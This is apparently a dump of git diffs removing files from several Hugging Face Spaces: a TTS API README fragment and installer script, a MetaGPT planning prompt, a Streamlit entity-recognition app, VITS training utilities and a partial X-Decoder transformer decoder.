x-strong | 1250 毫秒 | - -示例 - -```xml - - 这几天心里颇不宁静。 - 今晚在院子里坐着乘凉，忽然想起日日走过的荷塘，在这满月的光里，总该另有一番样子吧。 - 月亮渐渐地升高了，墙外马路上孩子们的欢笑，已经听不见了； - 妻在屋里拍着闰儿，迷迷糊糊地哼着眠歌。 - 我悄悄地披了大衫，带上门出去。 - 沿着荷塘，是一条曲折的小煤屑路。 - 这是一条幽僻的路；白天也少人走，夜晚更加寂寞。 - 荷塘四面，长着许多树，蓊蓊郁郁的。 - 路的一旁，是些杨柳，和一些不知道名字的树。 - 没有月光的晚上，这路上阴森森的，有些怕人。 - 今晚却很好，虽然月光也还是淡淡的。 - 路上只我一个人，背着手踱着。 - 这一片天地好像是我的；我也像超出了平常的自己，到了另一个世界里。 - 我爱热闹，也爱冷静；爱群居，也爱独处。 - 像今晚上，一个人在这苍茫的月下，什么都可以想，什么都可以不想，便觉是个自由的人。 - 白天里一定要做的事，一定要说的话，现在都可不理。 - 这是独处的妙处，我且受用这无边的荷香月色好了。 - -``` - -# 交流平台 - -现在只有 [Q群](https://qm.qq.com/cgi-bin/qm/qr?k=-1GknIe4uXrkmbDKBGKa1aAUteq40qs_&jump_from=webapi&authKey=x5YYt6Dggs1ZqWxvZqvj3fV8VUnxRyXm5S5Kzntc78+Nv3iXOIawplGip9LWuNR/) - -# 鸣谢 - -- vits:https://github.com/jaywalnut310/vits -- MoeGoe:https://github.com/CjangCjengh/MoeGoe -- emotional-vits:https://github.com/innnky/emotional-vits -- vits-uma-genshin-honkai:https://huggingface.co/spaces/zomehwh/vits-uma-genshin-honkai -- vits_chinese:https://github.com/PlayVoice/vits_chinese - diff --git a/spaces/weibinke/vits-simple-api/vits-simple-api-installer-latest.sh b/spaces/weibinke/vits-simple-api/vits-simple-api-installer-latest.sh deleted file mode 100644 index 7d2b46f0df55ac214c55794d416ccb6ba16fb1b7..0000000000000000000000000000000000000000 --- a/spaces/weibinke/vits-simple-api/vits-simple-api-installer-latest.sh +++ /dev/null @@ -1,52 +0,0 @@ -INSTALL_DIR=/usr/local/vits-simple-api - -RED='\033[0;31m' -GREEN='\033[0;32m' -YELLOW='\033[0;33m' -PLAIN='\033[0m' - -mkdir -p $INSTALL_DIR -cd $INSTALL_DIR -if [ ! -f config.py ]; then - echo -e "${YELLOW}download config.py\n${PLAIN}" - wget -O $INSTALL_DIR/config.py https://raw.githubusercontent.com/Artrajz/vits-simple-api/main/config.py -fi - -if [ ! -f gunicorn_config.py ]; then - echo -e "${YELLOW}download config.py\n${PLAIN}" - wget -O $INSTALL_DIR/gunicorn_config.py https://raw.githubusercontent.com/Artrajz/vits-simple-api/main/gunicorn_config.py -fi - -while true; do - echo -e "${GREEN}Which version of docker-compose.yaml do you want to download?" - echo -e "1. docker-compose.yaml (CPU version)" - echo -e "2. docker-compose-gpu.yaml (GPU version)" - read -p "Enter your choice (1 or 2): " choice - case $choice in - 1) - echo -e "${YELLOW}Downloading docker-compose.yaml (CPU version)\n${PLAIN}" - wget -O $INSTALL_DIR/docker-compose.yaml https://raw.githubusercontent.com/Artrajz/vits-simple-api/main/docker-compose.yaml - break - ;; - 2) - echo -e "${YELLOW}Downloading docker-compose-gpu.yaml (GPU version)\n${PLAIN}" - wget -O $INSTALL_DIR/docker-compose.yaml https://raw.githubusercontent.com/Artrajz/vits-simple-api/main/docker-compose-gpu.yaml - break - ;; - *) - echo -e "${RED}Invalid choice. Please enter 1 or 2.${PLAIN}" - ;; - esac -done - -echo -e "${YELLOW}Pulling the image might take a while, so why not grab a cup of java first?\n${PLAIN}" - -docker compose pull -docker compose up -d - -echo -e "\nThe upgrade or installation has been completed." -echo -e "The configuration file directory is $(realpath $INSTALL_DIR)" -echo -e "${YELLOW}If the vits model is not imported, it cannot be used. Import the model in the configuration file directory.${PLAIN}" -echo -e "After modifying the configuration file, restart the docker container for the modification to take effect." -echo -e "${YELLOW}If you have any questions, please put them in the issues.${PLAIN}" -echo -e "https://github.com/Artrajz/vits-simple-api" \ No newline at end of file diff --git a/spaces/wffcyrus/MetaGPT-v1/metagpt/prompts/decompose.py b/spaces/wffcyrus/MetaGPT-v1/metagpt/prompts/decompose.py deleted file mode 100644 index ab0c360d38b1387460edfc8af6649d7bbe421923..0000000000000000000000000000000000000000 --- a/spaces/wffcyrus/MetaGPT-v1/metagpt/prompts/decompose.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- -""" -@Time : 2023/5/30 10:09 -@Author : alexanderwu -@File : decompose.py -""" - -DECOMPOSE_SYSTEM = """SYSTEM: -You serve as an assistant that helps me play Minecraft. -I will give you my goal in the game, please break it down as a tree-structure plan to achieve this goal. -The requirements of the tree-structure plan are: -1. The plan tree should be exactly of depth 2. -2. Describe each step in one line. -3. You should index the two levels like ’1.’, ’1.1.’, ’1.2.’, ’2.’, ’2.1.’, etc. -4. The sub-goals at the bottom level should be basic actions so that I can easily execute them in the game. -""" - - -DECOMPOSE_USER = """USER: -The goal is to {goal description}. Generate the plan according to the requirements. -""" diff --git a/spaces/widged/named-entity-recognition/app.py b/spaces/widged/named-entity-recognition/app.py deleted file mode 100644 index 271d78c3f10ffce7fcdc133ac9476c9f3343c054..0000000000000000000000000000000000000000 --- a/spaces/widged/named-entity-recognition/app.py +++ /dev/null @@ -1,65 +0,0 @@ -import streamlit as st -from transformers import pipeline -import spacy -from spacy import displacy -import plotly.express as px -import numpy as np -st.set_page_config(page_title="Named Entity Recognition") -st.title("Named Entity Recognition") -st.write("_This web application is intended for educational use, please do not upload any sensitive information._") -st.write("Identifying all geopolitical entities, organizations, people, locations, or dates in a body of text.") - -@st.cache(allow_output_mutation=True, show_spinner=False) -def Loading_NLP(): - nlp = spacy.load('en_core_web_sm') - return nlp -@st.cache(allow_output_mutation=True) -def entRecognizer(entDict, typeEnt): - entList = [ent for ent in entDict if entDict[ent] == typeEnt] - return entList -def plot_result(top_topics, scores): - top_topics = np.array(top_topics) - scores = np.array(scores) - scores *= 100 - fig = px.bar(x=scores, y=top_topics, orientation='h', - labels={'x': 'Probability', 'y': 'Category'}, - text=scores, - range_x=(0,115), - title='Top Predictions', - color=np.linspace(0,1,len(scores)), - color_continuous_scale="Bluered") - fig.update(layout_coloraxis_showscale=False) - fig.update_traces(texttemplate='%{text:0.1f}%', textposition='outside') - st.plotly_chart(fig) - -with st.spinner(text="Please wait for the models to load. This should take approximately 60 seconds."): - nlp = Loading_NLP() - -text = st.text_area('Enter Text Below:', height=300) -submit = st.button('Generate') -if submit: - entities = [] - entityLabels = [] - doc = nlp(text) - for ent in doc.ents: - entities.append(ent.text) - entityLabels.append(ent.label_) - entDict = dict(zip(entities, entityLabels)) - entOrg = entRecognizer(entDict, "ORG") - entPerson = entRecognizer(entDict, "PERSON") - entDate = entRecognizer(entDict, "DATE") - entGPE = entRecognizer(entDict, "GPE") - entLoc = entRecognizer(entDict, "LOC") - options = {"ents": ["ORG", "GPE", "PERSON", "LOC", "DATE"]} - HTML_WRAPPER = """
                {}
                """ - - st.subheader("List of Named Entities:") - st.write("Geopolitical Entities (GPE): " + str(entGPE)) - st.write("People (PERSON): " + str(entPerson)) - st.write("Organizations (ORG): " + str(entOrg)) - st.write("Dates (DATE): " + str(entDate)) - st.write("Locations (LOC): " + str(entLoc)) - st.subheader("Original Text with Entities Highlighted") - html = displacy.render(doc, style="ent", options=options) - html = html.replace("\n", " ") - st.write(HTML_WRAPPER.format(html), unsafe_allow_html=True) diff --git a/spaces/xcchen/xcchenvits-uma-genshin-honkai/utils.py b/spaces/xcchen/xcchenvits-uma-genshin-honkai/utils.py deleted file mode 100644 index ee4b01ddfbe8173965371b29f770f3e87615fe71..0000000000000000000000000000000000000000 --- a/spaces/xcchen/xcchenvits-uma-genshin-honkai/utils.py +++ /dev/null @@ -1,225 +0,0 @@ -import os -import sys -import argparse -import logging -import json -import subprocess -import numpy as np -import librosa -import torch - -MATPLOTLIB_FLAG = False - -logging.basicConfig(stream=sys.stdout, level=logging.DEBUG) -logger = logging - - -def load_checkpoint(checkpoint_path, model, optimizer=None): - assert os.path.isfile(checkpoint_path) - checkpoint_dict = torch.load(checkpoint_path, map_location='cpu') - iteration = checkpoint_dict['iteration'] - learning_rate = checkpoint_dict['learning_rate'] - if optimizer is not None: - optimizer.load_state_dict(checkpoint_dict['optimizer']) - saved_state_dict = checkpoint_dict['model'] - if hasattr(model, 'module'): - state_dict = model.module.state_dict() - else: - state_dict = model.state_dict() - new_state_dict= {} - for k, v in state_dict.items(): - try: - new_state_dict[k] = saved_state_dict[k] - except: - logger.info("%s is not in the checkpoint" % k) - new_state_dict[k] = v - if hasattr(model, 'module'): - model.module.load_state_dict(new_state_dict) - else: - model.load_state_dict(new_state_dict) - logger.info("Loaded checkpoint '{}' (iteration {})" .format( - checkpoint_path, iteration)) - return model, optimizer, learning_rate, iteration - - -def plot_spectrogram_to_numpy(spectrogram): - global MATPLOTLIB_FLAG - if not MATPLOTLIB_FLAG: - import matplotlib - matplotlib.use("Agg") - MATPLOTLIB_FLAG = True - mpl_logger = logging.getLogger('matplotlib') - mpl_logger.setLevel(logging.WARNING) - import matplotlib.pylab as plt - import numpy as np - - fig, ax = plt.subplots(figsize=(10,2)) - im = ax.imshow(spectrogram, aspect="auto", origin="lower", - interpolation='none') - plt.colorbar(im, ax=ax) - plt.xlabel("Frames") - plt.ylabel("Channels") - plt.tight_layout() - - fig.canvas.draw() - data = np.fromstring(fig.canvas.tostring_rgb(), dtype=np.uint8, sep='') - data = data.reshape(fig.canvas.get_width_height()[::-1] + (3,)) - plt.close() - return data - - -def plot_alignment_to_numpy(alignment, info=None): - global MATPLOTLIB_FLAG - if not MATPLOTLIB_FLAG: - import matplotlib - matplotlib.use("Agg") - MATPLOTLIB_FLAG = True - mpl_logger = logging.getLogger('matplotlib') - mpl_logger.setLevel(logging.WARNING) - import matplotlib.pylab as plt - import numpy as np - - fig, ax = plt.subplots(figsize=(6, 4)) - im = ax.imshow(alignment.transpose(), aspect='auto', origin='lower', - interpolation='none') - fig.colorbar(im, ax=ax) - xlabel = 'Decoder timestep' - if info is not None: - xlabel += '\n\n' + info - plt.xlabel(xlabel) - plt.ylabel('Encoder timestep') - plt.tight_layout() - - fig.canvas.draw() - data = np.fromstring(fig.canvas.tostring_rgb(), dtype=np.uint8, sep='') - data = data.reshape(fig.canvas.get_width_height()[::-1] + (3,)) - plt.close() - return data - - -def load_audio_to_torch(full_path, target_sampling_rate): - audio, sampling_rate = librosa.load(full_path, sr=target_sampling_rate, mono=True) - return torch.FloatTensor(audio.astype(np.float32)) - - -def load_filepaths_and_text(filename, split="|"): - with open(filename, encoding='utf-8') as f: - filepaths_and_text = [line.strip().split(split) for line in f] - return filepaths_and_text - - -def get_hparams(init=True): - parser = argparse.ArgumentParser() - parser.add_argument('-c', '--config', type=str, default="./configs/base.json", - help='JSON file for configuration') - parser.add_argument('-m', '--model', type=str, required=True, - help='Model name') - - args = parser.parse_args() - model_dir = os.path.join("./logs", args.model) - - if not os.path.exists(model_dir): - os.makedirs(model_dir) - - config_path = args.config - config_save_path = os.path.join(model_dir, "config.json") - if init: - with open(config_path, "r") as f: - data = f.read() - with open(config_save_path, "w") as f: - f.write(data) - else: - with open(config_save_path, "r") as f: - data = f.read() - config = json.loads(data) - - hparams = HParams(**config) - hparams.model_dir = model_dir - return hparams - - -def get_hparams_from_dir(model_dir): - config_save_path = os.path.join(model_dir, "config.json") - with open(config_save_path, "r") as f: - data = f.read() - config = json.loads(data) - - hparams =HParams(**config) - hparams.model_dir = model_dir - return hparams - - -def get_hparams_from_file(config_path): - with open(config_path, "r") as f: - data = f.read() - config = json.loads(data) - - hparams =HParams(**config) - return hparams - - -def check_git_hash(model_dir): - source_dir = os.path.dirname(os.path.realpath(__file__)) - if not os.path.exists(os.path.join(source_dir, ".git")): - logger.warn("{} is not a git repository, therefore hash value comparison will be ignored.".format( - source_dir - )) - return - - cur_hash = subprocess.getoutput("git rev-parse HEAD") - - path = os.path.join(model_dir, "githash") - if os.path.exists(path): - saved_hash = open(path).read() - if saved_hash != cur_hash: - logger.warn("git hash values are different. {}(saved) != {}(current)".format( - saved_hash[:8], cur_hash[:8])) - else: - open(path, "w").write(cur_hash) - - -def get_logger(model_dir, filename="train.log"): - global logger - logger = logging.getLogger(os.path.basename(model_dir)) - logger.setLevel(logging.DEBUG) - - formatter = logging.Formatter("%(asctime)s\t%(name)s\t%(levelname)s\t%(message)s") - if not os.path.exists(model_dir): - os.makedirs(model_dir) - h = logging.FileHandler(os.path.join(model_dir, filename)) - h.setLevel(logging.DEBUG) - h.setFormatter(formatter) - logger.addHandler(h) - return logger - - -class HParams(): - def __init__(self, **kwargs): - for k, v in kwargs.items(): - if type(v) == dict: - v = HParams(**v) - self[k] = v - - def keys(self): - return self.__dict__.keys() - - def items(self): - return self.__dict__.items() - - def values(self): - return self.__dict__.values() - - def __len__(self): - return len(self.__dict__) - - def __getitem__(self, key): - return getattr(self, key) - - def __setitem__(self, key, value): - return setattr(self, key, value) - - def __contains__(self, key): - return key in self.__dict__ - - def __repr__(self): - return self.__dict__.__repr__() diff --git a/spaces/xdecoder/Instruct-X-Decoder/xdecoder/body/decoder/xdecoder2.py b/spaces/xdecoder/Instruct-X-Decoder/xdecoder/body/decoder/xdecoder2.py deleted file mode 100644 index e99d4623b2e987a66650db71c4a378a0ebaf241a..0000000000000000000000000000000000000000 --- a/spaces/xdecoder/Instruct-X-Decoder/xdecoder/body/decoder/xdecoder2.py +++ /dev/null @@ -1,700 +0,0 @@ -# Copyright (c) Facebook, Inc. and its affiliates. -# Modified by Bowen Cheng from: https://github.com/facebookresearch/detr/blob/master/models/detr.py - -# -------------------------------------------------------- -# X-Decoder -- Generalized Decoding for Pixel, Image, and Language -# Copyright (c) 2022 Microsoft -# Licensed under The MIT License [see LICENSE for details] -# Written by Xueyan Zou (xueyan@cs.wisc.edu), Jianwei Yang (jianwyan@microsoft.com) -# -------------------------------------------------------- - - -import logging -from typing import Optional - -import torch -from torch import nn, Tensor -from torch.nn import functional as F - -from timm.models.layers import trunc_normal_ -from detectron2.layers import Conv2d -import fvcore.nn.weight_init as weight_init - -from .registry import register_decoder -from ...utils import configurable -from ...modules import PositionEmbeddingSine - - -class SelfAttentionLayer(nn.Module): - - def __init__(self, d_model, nhead, dropout=0.0, - activation="relu", normalize_before=False): - super().__init__() - self.self_attn = nn.MultiheadAttention(d_model, nhead, dropout=dropout) - - self.norm = nn.LayerNorm(d_model) - self.dropout = nn.Dropout(dropout) - - self.activation = _get_activation_fn(activation) - self.normalize_before = normalize_before - - self._reset_parameters() - - def _reset_parameters(self): - for p in self.parameters(): - if p.dim() > 1: - nn.init.xavier_uniform_(p) - - def with_pos_embed(self, tensor, pos: Optional[Tensor]): - return tensor if pos is None else tensor + pos - - def forward_post(self, tgt, - tgt_mask: Optional[Tensor] = None, - tgt_key_padding_mask: Optional[Tensor] = None, - query_pos: Optional[Tensor] = None): - q = k = self.with_pos_embed(tgt, query_pos) - tgt2 = self.self_attn(q, k, value=tgt, attn_mask=tgt_mask, - key_padding_mask=tgt_key_padding_mask)[0] - tgt = tgt + self.dropout(tgt2) - tgt = self.norm(tgt) - - return tgt - - def forward_pre(self, tgt, - tgt_mask: Optional[Tensor] = None, - tgt_key_padding_mask: Optional[Tensor] = None, - query_pos: Optional[Tensor] = None): - tgt2 = self.norm(tgt) - q = k = self.with_pos_embed(tgt2, query_pos) - tgt2 = self.self_attn(q, k, value=tgt2, attn_mask=tgt_mask, - key_padding_mask=tgt_key_padding_mask)[0] - tgt = tgt + self.dropout(tgt2) - - return tgt - - def forward(self, tgt, - tgt_mask: Optional[Tensor] = None, - tgt_key_padding_mask: Optional[Tensor] = None, - query_pos: Optional[Tensor] = None): - if self.normalize_before: - return self.forward_pre(tgt, tgt_mask, - tgt_key_padding_mask, query_pos) - return self.forward_post(tgt, tgt_mask, - tgt_key_padding_mask, query_pos) - - -class CrossAttentionLayer(nn.Module): - - def __init__(self, d_model, nhead, dropout=0.0, - activation="relu", normalize_before=False): - super().__init__() - self.multihead_attn = nn.MultiheadAttention(d_model, nhead, dropout=dropout) - - self.norm = nn.LayerNorm(d_model) - self.dropout = nn.Dropout(dropout) - - self.activation = _get_activation_fn(activation) - self.normalize_before = normalize_before - - self._reset_parameters() - - def _reset_parameters(self): - for p in self.parameters(): - if p.dim() > 1: - nn.init.xavier_uniform_(p) - - def with_pos_embed(self, tensor, pos: Optional[Tensor]): - return tensor if pos is None else tensor + pos - - def forward_post(self, tgt, memory, - memory_mask: Optional[Tensor] = None, - memory_key_padding_mask: Optional[Tensor] = None, - pos: Optional[Tensor] = None, - query_pos: Optional[Tensor] = None): - tgt2, avg_attn = self.multihead_attn(query=self.with_pos_embed(tgt, query_pos), - key=self.with_pos_embed(memory, pos), - value=memory, attn_mask=memory_mask, - key_padding_mask=memory_key_padding_mask) - tgt = tgt + self.dropout(tgt2) - tgt = self.norm(tgt) - return tgt, avg_attn - - def forward_pre(self, tgt, memory, - memory_mask: Optional[Tensor] = None, - memory_key_padding_mask: Optional[Tensor] = None, - pos: Optional[Tensor] = None, - query_pos: Optional[Tensor] = None): - tgt2 = self.norm(tgt) - tgt2, avg_attn = self.multihead_attn(query=self.with_pos_embed(tgt2, query_pos), - key=self.with_pos_embed(memory, pos), - value=memory, attn_mask=memory_mask, - key_padding_mask=memory_key_padding_mask) - tgt = tgt + self.dropout(tgt2) - - return tgt, avg_attn - - def forward(self, tgt, memory, - memory_mask: Optional[Tensor] = None, - memory_key_padding_mask: Optional[Tensor] = None, - pos: Optional[Tensor] = None, - query_pos: Optional[Tensor] = None): - if self.normalize_before: - return self.forward_pre(tgt, memory, memory_mask, - memory_key_padding_mask, pos, query_pos) - return self.forward_post(tgt, memory, memory_mask, - memory_key_padding_mask, pos, query_pos) - - -class FFNLayer(nn.Module): - - def __init__(self, d_model, dim_feedforward=2048, dropout=0.0, - activation="relu", normalize_before=False): - super().__init__() - # Implementation of Feedforward model - self.linear1 = nn.Linear(d_model, dim_feedforward) - self.dropout = nn.Dropout(dropout) - self.linear2 = nn.Linear(dim_feedforward, d_model) - - self.norm = nn.LayerNorm(d_model) - - self.activation = _get_activation_fn(activation) - self.normalize_before = normalize_before - - self._reset_parameters() - - def _reset_parameters(self): - for p in self.parameters(): - if p.dim() > 1: - nn.init.xavier_uniform_(p) - - def with_pos_embed(self, tensor, pos: Optional[Tensor]): - return tensor if pos is None else tensor + pos - - def forward_post(self, tgt): - tgt2 = self.linear2(self.dropout(self.activation(self.linear1(tgt)))) - tgt = tgt + self.dropout(tgt2) - tgt = self.norm(tgt) - return tgt - - def forward_pre(self, tgt): - tgt2 = self.norm(tgt) - tgt2 = self.linear2(self.dropout(self.activation(self.linear1(tgt2)))) - tgt = tgt + self.dropout(tgt2) - return tgt - - def forward(self, tgt): - if self.normalize_before: - return self.forward_pre(tgt) - return self.forward_post(tgt) - - -def _get_activation_fn(activation): - """Return an activation function given a string""" - if activation == "relu": - return F.relu - if activation == "gelu": - return F.gelu - if activation == "glu": - return F.glu - raise RuntimeError(F"activation should be relu/gelu, not {activation}.") - - -class MLP(nn.Module): - """ Very simple multi-layer perceptron (also called FFN)""" - - def __init__(self, input_dim, hidden_dim, output_dim, num_layers): - super().__init__() - self.num_layers = num_layers - h = [hidden_dim] * (num_layers - 1) - self.layers = nn.ModuleList(nn.Linear(n, k) for n, k in zip([input_dim] + h, h + [output_dim])) - - def forward(self, x): - for i, layer in enumerate(self.layers): - x = F.relu(layer(x)) if i < self.num_layers - 1 else layer(x) - return x - - -class MultiScaleMaskedTransformerDecoder(nn.Module): - - _version = 2 - - @configurable - def __init__( - self, - lang_encoder: nn.Module, - in_channels, - mask_classification=True, - *, - hidden_dim: int, - dim_proj: int, - num_queries: int, - contxt_len: int, - nheads: int, - dim_feedforward: int, - dec_layers: int, - pre_norm: bool, - mask_dim: int, - task_switch: dict, - captioning_step: int, - enforce_input_project: bool, - ): - """ - NOTE: this interface is experimental. - Args: - in_channels: channels of the input features - mask_classification: whether to add mask classifier or not - num_classes: number of classes - hidden_dim: Transformer feature dimension - num_queries: number of queries - nheads: number of heads - dim_feedforward: feature dimension in feedforward network - enc_layers: number of Transformer encoder layers - dec_layers: number of Transformer decoder layers - pre_norm: whether to use pre-LayerNorm or not - mask_dim: mask feature dimension - enforce_input_project: add input project 1x1 conv even if input - channels and hidden dim is identical - """ - super().__init__() - assert mask_classification, "Only support mask classification model" - self.mask_classification = mask_classification - - # positional encoding - N_steps = hidden_dim // 2 - self.pe_layer = PositionEmbeddingSine(N_steps, normalize=True) - - # define Transformer decoder here - self.num_heads = nheads - self.num_layers = dec_layers - self.contxt_len = contxt_len - self.transformer_self_attention_layers = nn.ModuleList() - self.transformer_cross_attention_layers = nn.ModuleList() - self.transformer_ffn_layers = nn.ModuleList() - - for _ in range(self.num_layers): - self.transformer_self_attention_layers.append( - SelfAttentionLayer( - d_model=hidden_dim, - nhead=nheads, - dropout=0.0, - normalize_before=pre_norm, - ) - ) - - self.transformer_cross_attention_layers.append( - CrossAttentionLayer( - d_model=hidden_dim, - nhead=nheads, - dropout=0.0, - normalize_before=pre_norm, - ) - ) - - self.transformer_ffn_layers.append( - FFNLayer( - d_model=hidden_dim, - dim_feedforward=dim_feedforward, - dropout=0.0, - normalize_before=pre_norm, - ) - ) - - self.decoder_norm = nn.LayerNorm(hidden_dim) - - self.num_queries = num_queries - # learnable query features - self.query_feat = nn.Embedding(num_queries, hidden_dim) - # learnable query p.e. - self.query_embed = nn.Embedding(num_queries, hidden_dim) - - # level embedding (we always use 3 scales) - self.num_feature_levels = 3 - self.level_embed = nn.Embedding(self.num_feature_levels, hidden_dim) - self.input_proj = nn.ModuleList() - - for _ in range(self.num_feature_levels): - if in_channels != hidden_dim or enforce_input_project: - self.input_proj.append(Conv2d(in_channels, hidden_dim, kernel_size=1)) - weight_init.c2_xavier_fill(self.input_proj[-1]) - else: - self.input_proj.append(nn.Sequential()) - - self.task_switch = task_switch - - # output FFNs - self.lang_encoder = lang_encoder - if self.task_switch['mask']: - self.mask_embed = MLP(hidden_dim, hidden_dim, mask_dim, 3) - - self.class_embed = nn.Parameter(torch.empty(hidden_dim, dim_proj)) - trunc_normal_(self.class_embed, std=.02) - - if task_switch['bbox']: - self.bbox_embed = MLP(hidden_dim, hidden_dim, 4, 3) - - # Caption Project and query - if task_switch['captioning']: - self.caping_embed = nn.Parameter(torch.empty(hidden_dim, dim_proj)) - trunc_normal_(self.caping_embed, std=.02) - self.query_feat_caping = nn.Embedding(contxt_len, hidden_dim) - # self.pos_embed_caping = nn.Embedding(contxt_len, hidden_dim) - self.captioning_step = captioning_step - - # register self_attn_mask to avoid information leakage, it includes interaction between object query, class query and caping query - self_attn_mask = torch.zeros((1, num_queries + contxt_len, num_queries + contxt_len)).bool() - self_attn_mask[:, :num_queries, num_queries:] = True # object+class query does not attend with caption query. - self_attn_mask[:, num_queries:, num_queries:] = torch.triu(torch.ones((1, contxt_len, contxt_len)), diagonal=1).bool() # caption query only attend with previous token. - self_attn_mask[:, :num_queries-1, num_queries-1:num_queries] = True # object query does not attend with class query. - self_attn_mask[:, num_queries-1:num_queries, :num_queries-1] = True # class query does not attend with object query. - self.register_buffer("self_attn_mask", self_attn_mask) - - - @classmethod - def from_config(cls, cfg, in_channels, lang_encoder, mask_classification, extra): - ret = {} - - ret["lang_encoder"] = lang_encoder - ret["in_channels"] = in_channels - ret["mask_classification"] = mask_classification - - enc_cfg = cfg['MODEL']['ENCODER'] - dec_cfg = cfg['MODEL']['DECODER'] - - ret["hidden_dim"] = dec_cfg['HIDDEN_DIM'] - ret["dim_proj"] = cfg['MODEL']['DIM_PROJ'] - ret["num_queries"] = dec_cfg['NUM_OBJECT_QUERIES'] - ret["contxt_len"] = cfg['MODEL']['TEXT']['CONTEXT_LENGTH'] - - # Transformer parameters: - ret["nheads"] = dec_cfg['NHEADS'] - ret["dim_feedforward"] = dec_cfg['DIM_FEEDFORWARD'] - - # NOTE: because we add learnable query features which requires supervision, - # we add minus 1 to decoder layers to be consistent with our loss - # implementation: that is, number of auxiliary losses is always - # equal to number of decoder layers. With learnable query features, the number of - # auxiliary losses equals number of decoders plus 1. - assert dec_cfg['DEC_LAYERS'] >= 1 - ret["dec_layers"] = dec_cfg['DEC_LAYERS'] - 1 - ret["pre_norm"] = dec_cfg['PRE_NORM'] - ret["enforce_input_project"] = dec_cfg['ENFORCE_INPUT_PROJ'] - ret["mask_dim"] = enc_cfg['MASK_DIM'] - - ret["task_switch"] = extra['task_switch'] - ret["captioning_step"] = dec_cfg['CAPTIONING'].get('STEP', 50) - - return ret - - def forward(self, x, mask_features, mask=None, target_queries=None, target_vlp=None, task='seg', extra={}): - if task == 'captioning_infer': - return self.forward_captioning(x, mask_features, mask=mask, target_queries=target_queries, target_vlp=target_vlp, task=task, extra=extra) - # x is a list of multi-scale feature - assert len(x) == self.num_feature_levels - src = [] - pos = [] - size_list = [] - - # disable mask, it does not affect performance - del mask - for i in range(self.num_feature_levels): - size_list.append(x[i].shape[-2:]) - pos.append(self.pe_layer(x[i], None).flatten(2)) - src.append(self.input_proj[i](x[i]).flatten(2) + self.level_embed.weight[i][None, :, None]) - - # flatten NxCxHxW to HWxNxC - pos[-1] = pos[-1].permute(2, 0, 1) - src[-1] = src[-1].permute(2, 0, 1) - - _, bs, _ = src[0].shape - - # QxNxC - query_embed = self.query_embed.weight.unsqueeze(1).repeat(1, bs, 1) - output = self.query_feat.weight.unsqueeze(1).repeat(1, bs, 1) - - predictions_class = [] - predictions_mask = [] - predictions_bbox = [] - predictions_caption = [] - predictions_captioning = [] - - self_tgt_mask = None - if self.training and task == 'vlp' and self.task_switch['captioning']: - output = torch.cat((output, self.query_feat_caping.weight.unsqueeze(1).repeat(1, bs, 1)), dim=0) # concat object query, class token and caption token. - caping_lang_embed = torch.cat([caption['caption_tokens'] for caption in target_vlp], dim=0).transpose(0, 1) # language output - # _caping_lang_embed = caping_lang_embed.detach().clone() - # output = torch.cat((output, _caping_lang_embed), dim=0) # concat object query, class token and caption token. - # caping_lang_embed += self.pos_embed_caping.weight.unsqueeze(1).repeat(1, bs, 1) - query_embed = torch.cat((query_embed, caping_lang_embed), dim=0) # may not add at the beginning. - self_tgt_mask = self.self_attn_mask.repeat(output.shape[1]*self.num_heads, 1, 1) - elif (((self.training and task == 'seg') or (task == 'grounding_eval')) and self.task_switch['grounding']) \ - or ((self.training and task == 'openimage') and self.task_switch['openimage']['grounding']): - self_tgt_mask = self.self_attn_mask[:,:self.num_queries,:self.num_queries].repeat(output.shape[1]*self.num_heads, 1, 1) - grounding_tokens = extra['grounding_tokens'] - _grounding_tokens = grounding_tokens.detach().clone() - # initialize with negative attention at the beginning. - pad_tgt_mask = torch.ones((1, self.num_queries + (self.num_queries-1) + len(grounding_tokens), self.num_queries + (self.num_queries-1) + len(grounding_tokens)), device=self_tgt_mask.device).bool().repeat(output.shape[1]*self.num_heads, 1, 1) - pad_tgt_mask[:,:self.num_queries,:self.num_queries] = self_tgt_mask - pad_tgt_mask[:,self.num_queries:,self.num_queries:] = False # grounding tokens could attend with eatch other - self_tgt_mask = pad_tgt_mask - output = torch.cat((output, output[:-1]), dim=0) - query_embed = torch.cat((query_embed, query_embed[:-1]), dim=0) # also pad language embdding to fix embedding - else: - self_tgt_mask = self.self_attn_mask[:,:self.num_queries,:self.num_queries].repeat(output.shape[1]*self.num_heads, 1, 1) - - # prediction heads on learnable query features - results = self.forward_prediction_heads(output, mask_features, attn_mask_target_size=size_list[0], task=task) - attn_mask = results["attn_mask"] - predictions_class.append(results["outputs_class"]) - predictions_mask.append(results["outputs_mask"]) - predictions_bbox.append(results["outputs_bbox"]) - predictions_caption.append(results["outputs_caption"]) - predictions_captioning.append(results["outputs_captionting"]) - - for i in range(self.num_layers): - level_index = i % self.num_feature_levels - attn_mask[torch.where(attn_mask.sum(-1) == attn_mask.shape[-1])] = False - - if self.training and task == 'vlp' and self.task_switch['captioning']: - attn_mask = torch.cat((attn_mask, torch.zeros_like(attn_mask[:, :self.contxt_len, :])), dim=1) - # attention: cross-attention first - output, avg_attn = self.transformer_cross_attention_layers[i]( - output, src[level_index], - memory_mask=attn_mask, - memory_key_padding_mask=None, # here we do not apply masking on padded region - pos=pos[level_index], query_pos=query_embed - ) - - if (((self.training and task == 'seg') or (task == 'grounding_eval')) and self.task_switch['grounding']) \ - or ((self.training and task == 'openimage') and self.task_switch['openimage']['grounding']): - output = torch.cat((output, _grounding_tokens), dim=0) - query_embed = torch.cat((query_embed, grounding_tokens), dim=0) - - output = self.transformer_self_attention_layers[i]( - output, tgt_mask=self_tgt_mask, - tgt_key_padding_mask=None, - query_pos=query_embed - ) - - # FFN - output = self.transformer_ffn_layers[i]( - output - ) - - if ((self.training and task == 'seg') or (task == 'grounding_eval')) and self.task_switch['grounding'] \ - or ((self.training and task == 'openimage') and self.task_switch['openimage']['grounding']): - _grounding_tokens = output[-len(_grounding_tokens):] - output = output[:-len(_grounding_tokens)] - query_embed = query_embed[:-len(_grounding_tokens)] - - results = self.forward_prediction_heads(output, mask_features, attn_mask_target_size=size_list[(i + 1) % self.num_feature_levels], layer_id=i, task=task) - attn_mask = results["attn_mask"] - predictions_class.append(results["outputs_class"]) - predictions_mask.append(results["outputs_mask"]) - predictions_bbox.append(results["outputs_bbox"]) - predictions_caption.append(results["outputs_caption"]) - predictions_captioning.append(results["outputs_captionting"]) - - assert len(predictions_class) == self.num_layers + 1 - if task == 'vlp': - out = {'pred_captionings': predictions_captioning[-1], - 'pred_captions': predictions_caption[-1], - 'aux_outputs': [{'pred_captionings': 